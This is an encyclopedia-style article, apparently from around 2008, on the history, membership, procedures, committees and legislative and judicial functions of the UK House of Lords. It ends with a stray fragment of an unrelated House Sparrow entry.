              	http://www.parliament.uk/lords/index.cfm
            

          


          The House of Lords is the upper house of the Parliament of the United Kingdom and is also commonly referred to as "the Lords". The Parliament comprises the Sovereign, the House of Commons (which is the lower house of Parliament and referred to as "the Commons"), and the Lords. In Parliament the 738 members of the House of Lords currently outnumber the members of the 646 seat House of Commons.


          The full, formal style of the House of Lords is The Right Honourable the Lords Spiritual and Temporal of the United Kingdom of Great Britain and Northern Ireland in Parliament assembled. The formal style of individual members of the House of Lords is The Right Honourable the Lord X (of Y). Lords who are Privy Counsellors place "PC" after their title: all Privy Counsellors are in any case entitled to the epithet The Right Honourable.


          


          History


          Parliament developed from the council that advised the King during medieval times. This royal council came to be composed of ecclesiastics, noblemen, and representatives of the counties (afterwards, representatives of the boroughs as well). The first Parliament is often considered to be the "Model Parliament" (held in 1295), which included archbishops, bishops, abbots, earls, barons, and representatives of the shires and boroughs. The power of Parliament grew slowly, fluctuating as the strength of the monarchy grew or declined. For example, during much of the reign of Edward II (13071327), the nobility was supreme, the Crown weak, and the shire and borough representatives entirely powerless. In 1322, the authority of Parliament was for the first time recognised not simply by custom or royal charter, but by an authoritative statute, passed by Parliament itself. Further developments occurred during the reign of Edward II's successor, Edward III. Most importantly, it was during this King's reign that Parliament clearly separated into two distinct chambers: the House of Commons (consisting of the shire and borough representatives) and the House of Lords (consisting of the senior clergy and the nobility). The authority of Parliament continued to grow, and, during the early fifteenth century, both Houses exercised powers to an extent not seen before. The Lords were far more powerful than the Commons because of the great influence of the aristocrats and prelates of the realm.


          The power of the nobility suffered a decline during the civil wars of the late fifteenth century, known as the Wars of the Roses. Much of the nobility was killed on the battlefield or executed for participation in the war, and many aristocratic estates were lost to the Crown. Moreover, feudalism was dying, and the feudal armies controlled by the barons became obsolete. Hence, the Crown easily re-established its absolute supremacy in the realm. The domination of the Sovereign continued to grow during the reigns of the Tudor monarchs in the 16th century. The Crown was at the height of its power during the reign of Henry VIII (1509-1547).


          The House of Lords remained more powerful than the House of Commons, but the Lower House did continue to grow in influence, reaching a zenith in relation to the House of Lords during the middle 17th century. Conflicts between the King and the Parliament (for the most part, the House of Commons) ultimately led to the English Civil War during the 1640s. In 1649, after the defeat and execution of King Charles I, a republic (the Commonwealth of England) was declared, but the nation was effectively under the overall control of Oliver Cromwell. The House of Lords was reduced to a largely powerless body, with Cromwell and his supporters in the Commons dominating the Government. On 19 March 1649, the House of Lords was abolished by an Act of Parliament, which declared that "The Commons of England [find] by too long experience that the House of Lords is useless and dangerous to the people of England." The House of Lords did not assemble again until the Convention Parliament met in 1660 and the monarchy was restored. It returned to its former position as the more powerful chamber of Parliamenta position it would occupy until the 19th century.
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          The 19th century was marked by several changes to the House of Lords. The House, once a body of only about 50 members, had been greatly enlarged by the liberality of George III and his successors in creating peerages. The individual influence of a Lord of Parliament was thus diminished. Moreover, the power of the House as a whole experienced a decrease, whilst that of the House of Commons grew. Particularly notable in the development of the Lower House's superiority was the Reform Bill of 1832. The electoral system of the House of Commons was not, at the time, democratic: property qualifications greatly restricted the size of the electorate, and the boundaries of many constituencies had not been changed for centuries. Entire cities such as Manchester were not represented by a single individual in the House of Commons, but the 11 voters of Old Sarum retained their ancient right to elect two Members of Parliament. A small borough was susceptible to bribery, and was often under the control of a patron, whose nominee was guaranteed to win an election. Some aristocrats were patrons of numerous " pocket boroughs", and therefore controlled a considerable part of the membership of the House of Commons.


          When, in 1831, the House of Commons passed a Reform Bill to correct some of these anomalies, the House of Lords rejected the proposal. The popular cause of reform, however, was not abandoned by the ministry, despite a second rejection of the bill in the Lords in 1832. The Prime Minister, Earl Grey, then advised the King to overwhelm the opposition to the bill in the House of Lords by creating about 80 new pro-Reform peers. William IV originally baulked at the proposal, which effectively threatened the opposition of the House of Lords, but at length relented. Before the new peers were created, however, the Lords who opposed the bill admitted defeat, and abstained from the vote, allowing the passage of the bill. The crisis damaged the political influence of the House of Lords, but did not altogether end it. Over the course of the century, however, the power of the Upper House experienced further erosion, and the Commons gradually became the stronger House of Parliament.
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          The status of the House of Lords returned to the forefront of debate after the election of a Liberal Government in 1906. In 1909, the Chancellor of the Exchequer, David Lloyd George, introduced into the House of Commons the " People's Budget", which proposed a land tax targeting wealthy landowners. The popular measure, however, was defeated in the heavily Conservative House of Lords. Having made the powers of the House of Lords a primary campaign issue, the Liberals were narrowly re-elected in January 1910. Asquith then proposed that the powers of the House of Lords be severely curtailed. After a general election in December 1910, the Asquith Government secured the passage of a bill to curtail the powers of the House of Lords. The Parliament Act 1911 effectively abolished the power of the House of Lords to reject legislation, or to amend in a way unacceptable to the House of Commons: most bills could be delayed for no more than three parliamentary sessions or two calendar years. It was not meant to be a permanent solution; more comprehensive reforms were planned. Neither party, however, pursued the matter with much enthusiasm, and the House of Lords remained primarily hereditary. In 1949, the Parliament Act reduced the delaying power of the House of Lords further to two sessions or one year.


          In 1958, the predominantly hereditary nature of the House of Lords was changed by the Life Peerages Act 1958, which authorised the creation of life baronies, with no numerical limits. The number of Life Peers then gradually increased, though not at a constant rate. In 1968, the Labour Government of Harold Wilson attempted to reform the House of Lords by introducing a system under which hereditary peers would be allowed to remain in the House and take part in debate, but would be unable to vote. This plan, however, was defeated in the House of Commons by a coalition of traditionalist Conservatives (such as Enoch Powell) and Labour members who advocated the outright abolition of the Upper House (such as Michael Foot). When Michael Foot attained the leadership of the Labour Party, abolition of the House of Lords became a part of the party's agenda; under Neil Kinnock, however, a reformed Upper House was proposed instead. In the meantime, the creation of hereditary peerages (except for members of the Royal Family) has been arrested, with the exception of three creations during the administration of the Conservative Margaret Thatcher in the 1980s.


          The Labour Party's return to power in 1997 under Tony Blair finally heralded the reform of the House of Lords. The Labour Government introduced legislation to remove all hereditary peers from the Upper House as the first step in Lords reform. As a part of a compromise, however, it agreed to permit 92 hereditary peers to remain until the reforms were complete. The remainder of the hereditary peers were removed under the House of Lords Act 1999 (see below for its provisions), making the House of Lords predominantly an appointed house.


          Since 1999 however, reform has stalled (see Lords Reform). The Wakeham Commission proposed introducing a 20% elected element to the Lords, but this plan was widely criticised. A Joint Committee was established in 2001 to resolve the issue, but it reached no conclusion and instead gave Parliament seven options to choose from (fully appointed, 20% elected, 40% elected, 50% elected, 60% elected, 80%, and fully elected). In a confusing series of votes in February 2003, all of these options were defeated although the 80% elected option fell by just three votes in the Commons. MPs favouring outright abolition voted against all the options.


          In 2005 a cross-party group of senior MPs ( Ken Clarke, Paul Tyler, Tony Wright, Sir George Young and the late Robin Cook) published a report proposing that 70% of members of the House of Lords should be elected - each member for a single long term - by the single transferable vote system. Most of the remainder were to be appointed by a Commission to ensure a mix of "skills, knowledge and experience". This proposal was also not implemented. A cross-party campaign initiative called " Elect the Lords" was set up to make the case for a predominantly elected Second Chamber in the run up to the 2005 general election.


          At the 2005 election, the Labour Party proposed further reform of the Lords, but without specific details. The Conservative Party favoured an 80% elected Second Chamber, while the Liberal Democrats called for a fully elected Senate. During 2006, a cross-party committee discussed Lords reform, with the aim of reaching a consensus: its findings were published in early 2007.


          On 7 March 2007, Members of the House of Commons voted ten times on a variety of alternative compositions for the upper chamber. Outright abolition, a wholly appointed house, a 20% elected house, a 40% elected house, a 50% elected house and a 60% elected house were all defeated in turn. Finally the vote for an 80% elected chamber was won by 305 votes to 267, and the vote for a wholly elected chamber was won by an even greater margin: 337 to 224. Significantly this last vote represented an overall majority of MPs, giving it huge political authority. Furthermore, examination of the names of MPs voting at each division shows that, of the 305 who voted for the 80% elected option, 211 went on to vote for the 100% elected option. Given that this vote took place after the vote on 80%  whose result was already known when the vote on 100% took place  this shows a clear preference for a fully elected upper house among those who voted for the only other option that passed. But this was nevertheless only an indicative vote and many political and legislative hurdles remained to be overcome for supporters of an elected second chamber. The House of Lords, soon after, rejected this proposal and voted for an entirely appointed House of Lords.


          


          Lords Spiritual


          Members of the House of Lords who sit by virtue of their ecclesiastical offices are known as Lords Spiritual. Formerly, the Lords Spiritual were the majority in the House of Lords, including the Church of England's archbishops, diocesan bishops, abbots, and priors. After 1539, however, only the archbishops and bishops continued to attend, for the Dissolution of the Monasteries suppressed the positions of abbot and prior. In 1642, during the English Civil War, the Lords Spiritual were excluded altogether, but they returned under the Clergy Act 1661. The number of Lords Spiritual was further restricted by the Bishopric of Manchester Act 1847, and by later acts. Now, there can be no more than 26 Lords Spiritual, always including the five most ancient dioceses of the Church: the Archbishop of Canterbury, the Archbishop of York, the Bishop of London, the Bishop of Durham, and the Bishop of Winchester. Membership of the House of Lords also extends to the 21 longest-serving other diocesan bishops of the Church of England.


          The Church of Scotland is not represented by any Lords Spiritual; being a Presbyterian institution, it has no archbishops or bishops. The Church of Ireland did obtain representation in the House of Lords after the union of Ireland and Great Britain in 1801. Of the Church of Ireland's ecclesiastics, four (one archbishop and three bishops) were to sit at any one time, with the members rotating at the end of every parliamentary session (which normally lasted approximately one year). The Church of Ireland, however, was disestablished in 1871, and ceased to be represented by Lords Spiritual. The same is true for the Church in Wales which was disestablished in 1920. The current Lords Spiritual, therefore, represent only the Church of England.


          Other ecclesiastics have sat in the House of Lords in recent times: Immanuel Jakobovits, was appointed to the House of Lords with the consent of the Queen, who acted on the advice of Prime Minister Margaret Thatcher while he was Chief Rabbi. In recognition of his work at reconciliation and in the Peace Process, the Archbishop of Armagh (the senior Anglican bishop in Northern Ireland), Lord Eames was appointed to the Lords by John Major. Other clergymen appointed include Reverend Donald Soper, Reverend Timothy Beaumont, and some Scottish clerics. There have been no Roman Catholic clergymen appointed, though it was rumoured that Cardinal Basil Hume was offered a peerage, but refused, and accepted instead the Order of Merit, a personal appointment of the Queen, shortly before his death.


          In practice, however, although the Free Churches have never been represented as of right in the Lords, some Methodist and other ministers sit as Lords Temporal. Other clerics such as the Chief Rabbi are also often elevated as Lords Temporal; and indeed the heads of various professions and learned societies, and notably the military, academic and legal professions, are customarily considered.


          


          Lords Temporal


          Since the Dissolution of the Monasteries, the Lords Temporal have been the most numerous group in the House of Lords. Unlike the Lords Spiritual, they may be publicly partisan. Publicly non-partisan Lords are called cross-benchers. Originally, the Lords Temporal included several hundred hereditary peers (that is, those whose peerages may be inherited), who ranked variously as dukes, marquesses, earls, viscounts, and barons. Such hereditary dignities can be created by the Crown, in modern times on the advice of the Prime Minister of the day. Reforms enacted in 1999 (see above) caused several hundred hereditary peers to lose their seats in the House of Lords. The House of Lords Act 1999 provides that only 92 individuals may continue to sit in the Upper House by virtue of hereditary peerages. Two hereditary peers remain in the House of Lords because they hold hereditary offices connected with Parliament: the Earl Marshal and the Lord Great Chamberlain. Of the remaining 90 hereditary peers in the House of Lords, 15 are elected by the whole House. Seventy-five hereditary peers are chosen by fellow hereditary in the House of Lords, grouped by party. The number of peers to be chosen by a party reflects the proportion of hereditary peers that belongs to that party (see current composition below). When an elected hereditary peer dies, a by-election is held, with a variant of the Alternative Vote system being used. If the recently deceased hereditary peer was elected by the whole House, then so is his or her replacement; a hereditary peer elected by a specific party is replaced by a vote of elected hereditary peers belonging to that party (whether elected as part of that party group or by the whole house).


          The Lords Temporal also include the Lords of Appeal in Ordinary, a group of individuals appointed to the House of Lords so that they may exercise its judicial functions. Lords of Appeal in Ordinary, more commonly known as Law Lords, were first appointed under the Appellate Jurisdiction Act 1876. They are selected by the Prime Minister, but are formally appointed by the Sovereign. A Lord of Appeal in Ordinary must retire at the age of 70, or, if his or her term is extended by the government, at the age of 75; after reaching such an age, the Law Lord cannot hear any further legal cases. The number of Lords of Appeal in Ordinary (excluding those who are no longer able to hear cases because of age restrictions) is limited to twelve, but may be changed by statutory instrument. Lords of Appeal in Ordinary traditionally do not participate in political debates, so as to maintain judicial independence. Lords of Appeal in Ordinary hold seats in the House of Lords for life, remaining members even after reaching the retirement age of 70 or 75. Former Lord Chancellors and holders of other high judicial office may also sit as Law Lords under the Appellate Jurisdiction Act, although in practice this right is infrequently exercised. After the coming into force of the Constitutional Reform Act 2005, the Lords of Appeal in Ordinary will become judges of the Supreme Court of the United Kingdom and will be barred from sitting or voting until they retire as judges.


          The largest group of Lords Temporal, and indeed of the whole House, are life peers. Life peers with seats in the House of Lords rank only as barons or baronesses, and are created under the Life Peerages Act 1958. Like all other peers, life peers are created by the Sovereign, who acts on the advice of the Prime Minister. By convention, however, the Prime Minister allows leaders of other parties to select some life peers so as to maintain a political balance in the House of Lords. Moreover, some non-party life peers (the number being determined by the Prime Minister) are nominated by an independent House of Lords Appointments Commission. If an hereditary peer also holds a life peerage, he or she remains a member of the House of Lords without a need for an election. In 2000, the government announced it would set up an Independent Appointments Commission, under Lord Stevenson of Coddenham, to select fifteen so-called "People's Peers" for life peerages. However, when the choices were announced in April 2001, from a list of 3,000 applicants, the choices were treated with criticism in the media, as all were distinguished in their field, and none were "ordinary people" as some had originally hoped.


          In many historical instances, some peers were not permitted to sit in the Upper House. When Scotland united with England to form Great Britain in 1707, it was provided that the Scottish hereditary peers would only be able to elect 16 representative peers to sit in the House of Lords; the term of a representative was to extend until the next general election. A similar provision was enacted in respect of Ireland when that kingdom merged with Great Britain in 1801; the Irish peers were allowed to elect 28 representatives, who were to retain office for life. Elections for Irish representatives ended in 1922, when most of Ireland became an independent state; elections for Scottish representatives ended with the passage of the Peerage Act 1963, under which all Scottish peers obtained seats in the Upper House.


          


          Qualifications


          Several different qualifications apply for membership of the House of Lords. No person may sit in the House of Lords if under the age of 21. Furthermore, only Commonwealth citizens and citizens of the Republic of Ireland may sit in the House of Lords. The nationality restrictions were previously more stringent: under the Act of Settlement 1701, and prior to the British Nationality Act 1948, only natural-born subjects were qualified.


          Additionally, some bankruptcy-related restrictions apply to members of the Upper House. A person may not sit in the House of Lords if he or she is the subject of a Bankruptcy Restrictions Order (applicable in England and Wales only), or if he or she is adjudged bankrupt (in Northern Ireland), or if his or her estate is sequestered (in Scotland). A final restriction bars an individual convicted of high treason from sitting in the House of Lords until completing his or her full term of imprisonment. An exception applies, however, if the individual convicted of high treason receives a full pardon. Note that an individual serving a prison sentence for an offense other than high treason is not automatically disqualified.


          Finally, some qualifications apply only in the case of the Lords of Appeal in Ordinary. No person may be created a Lord of Appeal in Ordinary unless he or she has either held "high judicial office" for two years, or has been a practicing barrister for fifteen years. The term "high judicial office" encompasses membership of the Court of Appeal of England and Wales, of the Inner House of the Court of Session (Scotland), or of the Court of Appeal in Northern Ireland. Women were excluded from the House of Lords until the Life Peerages Act, passed in 1958 to address the declining number of active members, facilitated the creation of peerages for life. Women were immediately eligible and four were among the first life peers appointed. However, hereditary peeresses, whose existence had long been a constitutional anomaly, continued to be excluded until the passage of the Peerage Act 1963. Since the passage of the House of Lords Act 1999, hereditary peeresses remain eligible for election to the Upper House; there are three among the 92 hereditary who continue to sit. All women in the House of Lords are amongst the Lords Temporal; the Church of England does not permit the consecration of female bishops.


          


          Officers


          Traditionally the House of Lords did not elect its own speaker, unlike the House of Commons; rather, the ex officio presiding officer was the Lord Chancellor. With the passage of the Constitutional Reform Act 2005, the post of Lord Speaker was created, a position to which a peer is elected by the House and subsequently appointed by The Crown. The first Lord Speaker to be elected, on May 4, 2006, is Baroness Hayman, a former Labour peer. As the Speaker is expected to be an impartial presiding officer, Baroness Hayman has resigned from the Labour Party.


          This reform of the post of Lord Chancellor was made due to the perceived constitutional anomalies inherent in the role. The Lord Chancellor was not only the Speaker of the House of Lords, but also a member of the Cabinet; his or her department, formerly the Lord Chancellor's Department, is now called the Department for Constitutional Affairs. In addition, the Lord Chancellor is the head of the judiciary of England and Wales, serving as the president of the Supreme Court of England and Wales. Thus, the Lord Chancellor was part of all three branches of government: the legislative, the executive, and the judicial. The overlap of the legislative and executive roles is a characteristic of the Westminster system, as the entire cabinet consists of members of the House of Commons or the House of Lords; however, in June 2003, the Blair Government announced its intention to abolish the post of Lord Chancellor because of the office's mixed executive and judicial responsibilities. The abolition of the office was rejected by the House of Lords, and the Constitutional Reform Act 2005 was thus amended to preserve the office of Lord Chancellor. The Act no longer guarantees that the office holder of Lord Chancellor is the presiding officer of the House of Lords, and therefore allows the House of Lords to elect a speaker of their own.
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          The Lord Speaker may be replaced as presiding officer by one of his or her deputies. The Chairman of Committees, the Principal Deputy Chairman of Committees, and several Deputy Chairmen of Committees are all deputies to the Lord Speaker, and are all appointed by the House of Lords itself. By custom, the Crown appoints each Chairman, Principal Deputy Chairman, or Deputy Chairman to the additional office of Deputy Speaker of the House of Lords. There was previously no legal requirement that the Lord Chancellor or a Deputy Speaker be a member of the House of Lords, though the same has long been customary; thus the Woolsack upon which the Lord Chancellor sat was notionally not in the House of Lords, although situated in the middle of it.


          Whilst presiding over the House of Lords, the Lord Chancellor traditionally wore ceremonial black and gold robes. This is no longer a requirement for the Speaker except for State occasions outside of the chamber. The Speaker or Deputy Speaker sits on the Woolsack, a large red seat stuffed with wool, at the front of the Lords Chamber. When the House of Lords resolves itself into committee (see below), the Chairman or a Deputy Chairman presides, not from the Woolsack, but from a chair at the Table of the House. The presiding officer has little power compared to the Speaker of the House of Commons. He or she only acts as the mouthpiece of the House, performing duties such as announcing the results of votes. This is because, unlike in the House of Commons where all statements are directed to "Mr/Madam Speaker", in the House of Lords they are directed to "My Lords", i.e. the entire body of the House. The Lord Speaker or Deputy Speaker cannot determine which members may speak, or discipline members for violating the rules of the House; these measures may be taken only by the House itself. Unlike the politically neutral Speaker of the House of Commons, the Lord Chancellor and Deputy Speakers originally remained members of their respective parties, and may participate in debate, however this is no longer true of the new role of Lord Speaker.


          Another officer of the body is the Leader of the House of Lords, a peer selected by the Prime Minister. The Leader of the House is responsible for steering Government bills through the House of Lords, and is a member of the Cabinet. The Leader also advises the House on proper procedure when necessary, but such advice is merely informal, rather than official and binding. A Deputy Leader is also appointed by the Prime Minister, and takes the place of an absent or unavailable Leader.


          The Clerk of the Parliaments is the chief clerk and officer of the House of Lords (but is not a member of the House itself). The Clerk, who is appointed by the Crown, advises the presiding officer on the rules of the House, signs orders and official communications, endorses bills, and is the keeper of the official records of both Houses of Parliament. Moreover, the Clerk of the Parliaments is responsible for arranging by-elections of hereditary peers when necessary. The deputies of the Clerk of the Parliaments (the Clerk Assistant and the Reading Clerk) are appointed by the Lord Speaker, subject to the House's approval.


          The Gentleman Usher of the Black Rod is also an officer of the House; he takes his title from the symbol of his office, a black rod. Black Rod (as the Gentleman Usher is normally known) is responsible for ceremonial arrangements, is in charge of the House's doorkeepers, and may (upon the order of the House) take action to end disorder or disturbance in the Chamber. Black Rod also holds the office of Serjeant-at-Arms of the House of Lords, and in this capacity attends upon the Lord Speaker. The Gentleman Usher of the Black Rod's duties may be delegated to the Yeoman Usher of the Black Rod or to the Assistant Sergeant-at-Arms.


          


          Procedure


          


          The House of Lords and the House of Commons assemble in the Palace of Westminster. The Lords Chamber is lavishly decorated, in contrast with the more modestly furnished Commons Chamber. Benches in the Lords Chamber are coloured red; thus, the House of Lords is sometimes referred to as the "Red Chamber". The Woolsack is at the front of the Chamber; supporters of the Government sit on benches on the right of the Woolsack, whilst members of the Opposition sit on the left. Neutral members, known as Cross-benchers, sit on the benches immediately opposite the Woolsack.


          The Lords Chamber is the site of many formal ceremonies, the most famous of which is the State Opening of Parliament, held at the beginning of each new parliamentary session. During the State Opening, the Sovereign, seated on the Throne in the Lords Chamber and in the presence of both Houses of Parliament, delivers a speech outlining the Government's agenda for the upcoming parliamentary session.


          In the House of Lords, members need not seek the recognition of the presiding officer before speaking, as is done in the House of Commons. If two or more Lords simultaneously rise to speak, the House decides which one is to be heard by acclamation, or, if necessary, by voting on a motion. Often, however, the Leader of the House will suggest an order, which is thereafter generally followed. Speeches in the House of Lords are addressed to the House as a whole ("My Lords") rather than to the presiding officer alone (as is the custom in the Lower House). Members may not refer to each other in the second person (as "you"), but rather use third person forms such as "the noble Duke", "the noble Earl", "the noble Lord", "my noble friend", etc.


          Each member may make no more than one speech on a motion, except that the mover of the motion may make one speech at the beginning of the debate and another at the end. Speeches are not subject to any time limits in the House; however, the House may put an end to a speech by approving a motion "that the noble Lord be no longer heard". It is also possible for the House to end the debate entirely, by approving a motion "that the Question be now put". This procedure is known as Closure, and is extremely rare.


          Once all speeches on a motion have concluded, or Closure invoked, the motion may be put to a vote. The House first votes by voice vote; the Lord Speaker or Deputy Speaker puts the question, and the Lords respond either "Content" (in favour of the motion) or "Not-Content" (against the motion). The presiding officer then announces the result of the voice vote, but if his assessment is challenged by any Lord, a recorded vote known as a division follows. Members of the House enter one of two lobbies (the "Content" lobby or the "Not-Content" lobby) on either side of the Chamber, where their names are recorded by clerks. At each lobby are two Tellers (themselves members of the House) who count the votes of the Lords. The Lord Speaker may not take part in the vote. Once the division concludes, the Tellers provide the results thereof to the presiding officer, who then announces them to the House. If there is an equality of votes, the motion is decided according to the following principles: legislation may proceed in its present form, unless there is a majority in favour of amending or rejecting it; any other motions are rejected, unless there is a majority in favour of approving it. The quorum of the House of Lords is just three members for a general or procedural vote, and 30 members for a vote on legislation. If fewer than three or 30 members (as appropriate) are present, the division is invalid.


          


          Committees


          The Parliament of the United Kingdom uses committees for a variety of purposes; one common use is for the review of bills. Committees of both Houses consider bills in detail, and may make amendments. In the House of Lords, the committee most commonly used for the consideration of bills is the Committee of the Whole House, which, as its name suggests, includes all members of the House. The Committee meets in the Lords Chamber, and is presided over not by the Lord Speaker, but by the Chairman of Committees or a Deputy Chairman. Different procedural rules apply in the Committee of the Whole House than in normal sessions of the Lords; in particular, members are allowed to make more than one speech each on a motion. Similar to the Committee of the Whole House are the Grand Committees, bodies in which any member of the House may participate. A Grand Committee does not meet in the Lords Chamber, but in a separate committee room. No divisions are held in Grand Committees, and any amendments to the bill require the unanimous consent of the body. Hence, the Grand Committee procedure is used only for uncontroversial bills.


          Bills may also be committed to Public Bill Committees, which consist of between twelve and sixteen members each. A Public Bill Committee is specifically constituted for a particular bill. A bill may also be referred to a Special Public Bill Committee, which, unlike the Public Bill Committee, has the power to hold hearings and collect evidence. These committees are used much less frequently than the Committee of the Whole House and Grand Committees.


          The House of Lords also has several Select Committees. The members of these committees are appointed by the House at the beginning of each session, and continue to serve until the next parliamentary session begins. The House of Lords may appoint a chairman for a committee; if it does not do so, the Chairman of Committees or a Deputy Chairman of Committees may preside instead. Most Select Committees are permanent, but the House may also establish ad hoc committees, which cease to exist upon the completion of a particular task (for instance, investigating the reform of the House of Lords). The primary function of Select Committees is to scrutinise and investigate Government activities; to fulfil these aims, they are permitted to hold hearings and collect evidence. Bills may be referred to Select Committees, but are more often sent to the Committee of the Whole House and Grand Committees.


          The committee system of the House of Lords also includes several Domestic Committees, which supervise or consider the House's procedures and administration. One of the Domestic Committees is the Committee of Selection, which is responsible for assigning members to many of the House's other committees.


          


          Legislative functions
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          Most legislation may be introduced in either House, but, most commonly, is introduced in the House of Commons.


          The power of the Lords to reject a bill passed by the House of Commons is severely restricted by the Parliament Acts. Under those Acts, certain types of bills may be presented for the Royal Assent without the consent of the House of Lords. The House of Lords cannot delay a money bill (a bill that, in the view of the Speaker of the House of Commons, solely concerns national taxation or public funds) for more than one month. Other public bills cannot be delayed by the House of Lords for more than two parliamentary sessions, or one calendar year. These provisions, however, only apply to public bills that originate in the House of Commons, and cannot have the effect of extending a parliamentary term beyond five years. A further restriction is a constitutional convention known as the Salisbury Convention, which means that the House of Lords does not oppose legislation promised in the Government's election manifesto.


          By a custom that prevailed even before the Parliament Acts, the House of Lords is further restrained insofar as financial bills are concerned. The House of Lords may neither originate a bill concerning taxation or Supply (supply of treasury or exchequer funds), nor amend a bill so as to insert a taxation or Supply-related provision. (The House of Commons, however, often waives its privileges and allows the Upper House to make amendments with financial implications.) Moreover, the Upper House may not amend any Supply Bill. The House of Lords formerly maintained the absolute power to reject a bill relating to revenue or Supply, but this power was curtailed by the Parliament Acts, as aforementioned.


          Hence, as the power of the House of Lords has been severely curtailed by statute and by practice, the House of Commons is clearly the more powerful chamber of Parliament.


          In March 2006, it was reported that, among other reforms, the Government are considering removing the ability of the Lords to delay legislation that arises as a result of manifesto commitments, and reducing their ability to delay other legislation to a period of 60 days .


          


          Judicial functions


          The judicial functions of the House of Lords originate from the ancient role of the Curia Regis as a body that addressed the petitions of the King's subjects.


          The judicial functions of the House of Lords are exercised not by the whole House, but by a committee of "Law Lords". The bulk of the House's judicial business is conducted by the twelve Lords of Appeal in Ordinary, who are specifically appointed for this purpose under the Appellate Jurisdiction Act 1876. The judicial functions may also be exercised by Lords of Appeal (other members of the House who happen to have held high judicial office). No Lord of Appeal in Ordinary or Lord of Appeal may sit judicially beyond the age of seventy-five. The judicial business of the Lords is supervised by the Senior Lord of Appeal in Ordinary and his or her deputy, the Second Senior Lord of Appeal in Ordinary.


          The jurisdiction of the House of Lords extends, in civil and in criminal cases, to appeals from the courts of England and Wales, and of Northern Ireland. From Scotland, appeals are possible only in civil cases; Scotland's High Court of Justiciary is the highest court in criminal matters. The House of Lords is not the United Kingdom's only court of last resort; in some cases, the Privy Council performs such a function. The jurisdiction of the Privy Council in the United Kingdom, however, is narrower than that of the House of Lords; it encompasses appeals from ecclesiastical courts, issues related to devolution, disputes under the House of Commons Disqualification Act 1975, and a few other minor matters.


          Not all Law Lords sit to hear cases; rather, since World War II cases have been heard by panels known as Appellate Committees, each of which normally consists of five members (selected by the Senior Lord). An Appellate Committee hearing an important case may consist of even more members. Though Appellate Committees meet in separate committee rooms, judgement is given in the Lords Chamber itself. No further appeal lies from the House of Lords, although the House of Lords may refer a "preliminary question" to the European Court of Justice in cases involving an element of European Union law, and a case can be brought at the European Court of Human Rights if the House of Lords does not provide a satisfactory remedy in cases where the European Convention on Human Rights is relevant.


          A distinct judicial functionone in which the whole House, rather than just the Law Lords, may participateis that of trying impeachments. Impeachments were brought by the House of Commons, and tried in the House of Lords; a conviction required only a majority of the Lords voting. Impeachments, however, are to all intents and purposes obsolete; the last impeachment was that of Henry Dundas, 1st Viscount Melville in 1806.


          Similarly, the House of Lords was once the court that tried peers charged with high treason or felony. The House would be presided over not by the Lord Chancellor, but by the Lord High Steward, an official especially appointed for the occasion of the trial. If Parliament was not in session, then peers could be tried in a separate court, known as the Lord High Steward's Court. Only peers, their wives, and their widows (unless remarried) were entitled to trials in the House of Lords or the Lord High Steward's Court; the Lords Spiritual were tried in Ecclesiastical Courts. In 1948, the right of peers and peeresses to be tried in such special courts was abolished; now, they are tried in the regular courts. The last such trial in the House was of Edward Southwell Russell, 26th Baron de Clifford in 1935.


          The Constitutional Reform Act 2005 will lead to the creation of a separate Supreme Court of the United Kingdom, to which the judicial function of the House of Lords, and some of the judicial functions of the Judicial Committee of the Privy Council, will be transferred. In addition, the office of Lord Chancellor has been reformed by the act, to remove his ability to act as both a government minister and a judge. This is motivated in part by concerns that the historical admixture of legislative, judicial, and executive power, may not be in conformance with the requirements of the European Convention on Human Rights (a judicial officer having legislative or executive power not being likely to be considered sufficiently impartial to provide a fair trial), and in any case are considered undesirable according to modern constitutional theory concerning the separation of powers. The new Supreme Court will be located in Middlesex Guildhall.


          


          Relationship with the Government


          Unlike the House of Commons, the House of Lords does not control the term of the Prime Minister or of the Government. Only the Lower House may force the Prime Minister to resign or call elections by passing a motion of no-confidence or by withdrawing supply. Thus, the House of Lords' oversight of the government is limited.


          Most Cabinet ministers are from the House of Commons, rather than the House of Lords. In particular, all Prime Ministers since 1902 have been members of the Lower House. ( Alec Douglas-Home, who became Prime Minister in 1963 whilst still an Earl, disclaimed his peerage and was elected to the Commons soon after his term began.) No major cabinet position (except Lord Chancellor and Leader of the House of Lords) has been filled by a peer since 1982, when Lord Carrington was the Foreign Secretary (Though Baroness Amos was briefly International Development Secretary until the death of Lord Williams of Mostyn in 2003).


          The House of Lords does remain a source for junior ministers, such as Lord Hunt of Kings Heath ( Department of Health). Since 1999 the Attorney-General has been a Lord; currently it is Baroness Scotland of Asthal. The House of Lords also has a Chief Whip - currently Lord Grocott.


          


          Current composition


          The House of Lords, as of 7 January 2008:


          
            
              	Affiliation

              	Life peers

              	Hereditary peers

              	Lords spiritual

              	Total
            


            
              	Elected by party 

              	Elected by whole house

              	Royal office-holders
            


            
              	

              	Labour

              	212

              	2

              	2

              	0

              	-

              	216
            


            
              	

              	Conservative

              	154

              	39

              	9

              	0

              	-

              	202
            


            
              	

              	Liberal Democrats

              	73

              	3

              	2

              	0

              	-

              	78
            


            
              	

              	UKIP

              	2

              	-

              	-

              	-

              	-

              	2
            


            
              	

              	Green

              	1

              	-

              	-

              	-

              	-

              	1
            


            
              	

              	Crossbenchers

              	168

              	29

              	2

              	2

              	-

              	201
            


            
              	

              	Non-affiliated

              	10

              	2

              	0

              	0

              	-

              	12
            


            
              	

              	Lords Spiritual

              	-

              	-

              	-

              	-

              	26

              	26
            


            
              	Total

              	620

              	75

              	15

              	2

              	26

              	738
            

          


          Note: These figures exclude twelve peers who are on leave of absence.


          The number of hereditary peers "allocated" to each party, which is based on the proportion of hereditary peers that belongs to that party, is:


          
            	Conservative Party: 39 peers


            	Labour Party: 2 peers


            	Liberal Democrats: 3 peers


            	Cross-benchers: 29 peers

          


          Of the initial 42 hereditary peers elected as Conservatives, one ( Lord Brabazon of Tara) now sits as a Cross-bencher, having become the House of Lords' Chairman of Committees, and another ( Lord Willoughby de Broke) now sits as a UKIP member.


          A report in 2007 stated that many members of the Lords do not attend regularly - the average attendance was around 408.


          


          Current political leaders in the Lords


          
            	Baroness Ashton - Leader of the House of Lords and Lord President of the Council (Labour)


            	Lord Strathclyde - Shadow Leader of the House of Lords (Conservative)


            	Lord McNally - Liberal Democrats
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        House Sparrow


        
          

          {{Taxobox | name = House Sparrow | status = LC | image = House sparrowII.jpg | image_width = 250px | image_caption = Birdsong | regnum = Animalia | phylum = Chordata | classis = [[Bird|Aves] | ordo = Passeriformes | familia = Passeridae | genus = Passer | species = P. domesticus | binomial = Passer domesticus | binomial_authority = (Linnaeus, 1758) }}


